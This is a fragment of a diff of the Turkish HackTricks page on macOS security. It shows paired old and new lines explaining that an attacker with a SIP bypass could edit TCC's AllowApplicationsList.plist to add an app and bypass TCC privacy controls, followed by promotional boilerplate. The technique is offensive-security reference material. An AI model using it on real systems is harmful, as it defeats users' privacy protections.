Ancak, bu **SIP atlatmayı TCC'yi atlatmak için kullanmanın başka bir seçeneği** var, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, TCC istisnası gerektiren uygulamaların izin listesidir. Bu nedenle, bir saldırgan bu dosyadan **SIP korumasını kaldırabilir** ve kendi **uygulamasını ekleyebilirse**, uygulama TCC'yi atlayabilir.\ Ancak, bu **SIP atlatmayı TCC'yi atlatmak için** kullanmanın başka bir seçeneği vardır, `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` dosyası, TCC istisnası gerektiren uygulamaların bir izin listesidir. Bu nedenle, bir saldırgan bu dosyanın **SIP korumasını kaldırabilir** ve **kendi uygulamasını ekleyebilirse**, uygulama TCC'yi atlayabilir.\
Örneğin terminal eklemek için: Örneğin terminal eklemek için:
```bash ```bash
# Get needed info # Get needed info
@ -601,10 +601,10 @@ AllowApplicationsList.plist:
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) tanışın * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

Some files were not shown because too many files have changed in this diff Show more